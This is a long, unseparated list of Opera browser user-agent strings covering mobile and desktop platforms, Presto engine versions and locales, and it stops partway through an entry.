Opera/9.80 (J2ME/MIDP; Opera Mini/4.0.10031/22.453; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0.10247/19.916; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0.8462/19.916; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0.8462/22.414; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0/22.394; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0/22.401; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0/22.453; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0/870; U; id) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.11321/24.871; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.12965/19.892; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.13573/20.2485; U; zh) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.13907/21.529; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.14287/22.387; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.15082/20.2489; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.15082/25.677; U; vi) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.15082/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.18061/27.1407; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2 19.42.55/19.892; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13057/870; U; ja) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13221/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13221/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13265/870; U; ro) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13337.Mod.by.Handler/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13337/19.916; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13337/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13337/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13400/20.2485; U; zh) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/22.414; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13943/20.2485; U; zh) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14320/20.2485; U; zh) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14320/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14320/886; U; id) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14409/20.2485; U; zh) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14753/20.2485; U; zh) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14881Mod.by.Handler/23.317; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14881Mod.by.Handler/24.743; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14885/20.2485; U; zh) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/22.394; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/23.333; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/23.334; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/24.746; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/35.5706; U; id) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/870; U; id) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912Mod.By.www.9jamusic.cz.cc/22.387; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912Mod.by.Handler/23.377; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912Mod.by.Handler/24.783; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912mod.By.onome/22.401; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15066/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410/22.394; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410/24.899; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/18.678; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/20.2485; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/22.401; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/23.333; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/23.334; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410QUAIN/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.16007Mod.by.Handler/23.390; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.16320/29.3594; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.18887/22.478; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.19634/23.333; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.21465/22.387; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.21465/22.478; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.23453/28.2647; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.24721/30.3316; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/4.3.13337/25.657; U; ro) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.3.24214 (Windows; U; Windows NT 6.1) AppleWebKit/24.838; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.3.24214/27.1407; U; id) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/4.3.24214; iPhone; CPU iPhone OS 4_2_1 like Mac OS X; AppleWebKit/24.783; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.4.0.60 (Windows XP)/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/4.4.26736/28.2647; U; it) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/4.4.29476/27.1573; U; id) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/4.4.Vista/19.916; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/4.5.33867/35.2883; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (BlackBerry; U; BlackBerry 9800) AppleWebKit/24.783; U; es) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (BlackBerry; U; BlackBerry9800; en-GB) AppleWebKit/24.783; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/24.741; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/24.838; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (SymbianOS/24.838; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows NT 6.1; WOW64) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/23.377; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/24.838; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/23.377; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (iPhone; U; fr; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/23.405; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (iPhone; U; xxxx like Mac OS X; en) AppleWebKit/24.838; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0(Windows; U; Windows NT 5.1; en-US)/23.390; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.0.351 Profile/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.0.423 Profile/18.684; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.0.862 Profile/24.743; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.15650/20.2479; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823Mod.by.Handler/22.387; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.17381/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.17443/20.2477; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.17443/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18635/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18635Mod.by.Handler/23.377; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/18.794; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/870; U; fr) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/886; U; id) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741Mod.by.Handler/22.414; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.19683/1278; U; ko) Presto/2.2.0 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.19693/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.19693Mod.by.Handler/18.794; U; id) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.19693Mod.by.Handler/23.390; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.20873/19.916; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.3521/18.684; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.3521/22.414; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.3521/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.0/870; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.21051/20.2477; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.21051/23.377; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.21051/27.1573; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.21214/22.387; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.21214/22.414; U; ro) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.21415/22.387; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.387; U; fr) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.478; U; fr) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.87; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.87; U; fr) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296; BlackBerry9800; U; AppleWebKit/23.370; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/6.1.25378/25.677; U; th) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/6.24093/25.657; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/6.24093/26.1305; U; en) Presto/2.8.119 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/6.24288/25.729; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/27.1407; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/7.1.32052/35.5706; U; id) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/8.0.35626/37.8918; U; en) Presto/2.12.423 Version/12.16 Opera/9.80 (J2ME/MIDP; Opera Mini/9 (Compatible; MSIE:9.0; iPhone; BlackBerry9700; AppleWebKit/24.746; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (J2ME/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (J2ME/23.377; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.334; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/Mozilla/23.334; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/Nokia2730c-1/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/SymbianOS/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/iPhone;Opera Mini/5.0.019802/886; U; ja) Presto/2.4.15 Opera/9.80 (J2ME/iPhone;Opera Mini/5.0.019802/886; U; ja)Presto/ 2.4.15 Opera/9.80 (J2ME/iPhone;Opera Mini/5.0.019802/886; U; ja)Presto/2.4.15 Opera/9.80 (Linux i686; Opera Mobi/1038; U; en) Presto/2.5.24 Version/10.00 Opera/9.80 (Linux i686; Opera Mobi/1040; U; en) Presto/2.5.24 Version/10.00 Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 Opera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00 Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 Version/11.52 Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 Opera/9.80 (Macintosh; Intel Mac OS X; Opera Mobi/27; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (Macintosh; Intel Mac OS X; Opera Mobi/3730; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (Macintosh; Intel Mac OS X; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61 Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 Opera/9.80 (S60; SymbOS; Opera Mobi/1181; U; en-GB) Presto/2.5.28 Version/10.1 Opera/9.80 (S60; SymbOS; Opera Mobi/1209; U; fr) Presto/2.5.28 Version/10.1 Opera/9.80 (S60; SymbOS; Opera Mobi/1209; U; sk) Presto/2.5.28 Version/10.1 Opera/9.80 (S60; SymbOS; Opera Mobi/447; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (S60; SymbOS; Opera Mobi/498; U; sv) Presto/2.4.18 Version/10.00 Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00 Opera/9.80 (S60; SymbOS; Opera Mobi/SYB-1103211396; U; es-LA) Presto/2.7.81 Version/11.00 Opera/9.80 (S60; SymbOS; Opera Mobi/SYB-1104061449; U; da) Presto/2.7.81 Version/11.00 Opera/9.80 (S60; SymbOS; Opera Mobi/SYB-1107071606; U; en) Presto/2.8.149 Version/11.10 Opera/9.80 (S60; SymbOS; Opera Tablet/9174; U; en) Presto/2.7.81 Version/10.5 Opera/9.80 (Series 60; Opera Mini/1.0.30710/29.3594; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (Series 60; Opera Mini/5.1.22396/22.478; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/5.1.22783/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/5.1.22783/22.478; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/5.1.22783/23.334; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/5.1.22784/22.387; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/5.1.22784/22.394; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/5.1.22784/23.334; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/6.0.24095/24.741; U; zh) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/6.0.24095/24.760; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/6.0.24455/28.2766; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (Series 60; Opera Mini/6.1.25759/25.872; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/6.24096/25.657; U; id) Presto/2.5.25 Version/10.54 Opera/9.80 (Series 60; Opera Mini/6.5.29702/28.2647; U; es) Presto/2.8.119 Version/11.10 Opera/9.80 (Series 60; Opera Mini/7.1.32444/35.2883; U; ru) Presto/2.8.119 Version/11.10 Opera/9.80 (Series 60; Opera Mini/7.1.32444/35.5706; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows ME; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows Mobile; Opera Mini/5.1.21594/22.387; U; ru) Presto/2.5.25 Version/10.54 Opera/9.80 (Windows Mobile; Opera Mini/5.1.21595/25.657; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Windows Mobile; WCE; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (Windows NT 5.0; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (Windows NT 5.1; U; MRA 5.5 (build 02842); ru) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 5.1; U; MRA 5.6 (build 03278); ru) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 5.1; U; Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18635/1030; U; en) Presto/2.4.15; ru) Presto/2.8.99 Version/11.10 Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51 Opera/9.80 (Windows NT 5.1; U; en-GB) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; es-ES) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; es-LA) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 5.1; U; lt) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; nn) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 Opera/9.80 (Windows NT 5.1; U; sk) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00 Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10 Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 Opera/9.80 (Windows NT 6.0; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.8.99 Version/11.10 Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62 Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1 x64; U; en) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1 Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; en-US) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00 Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; ko) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16 Opera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62 Opera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.10 Opera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.16 Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10 Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 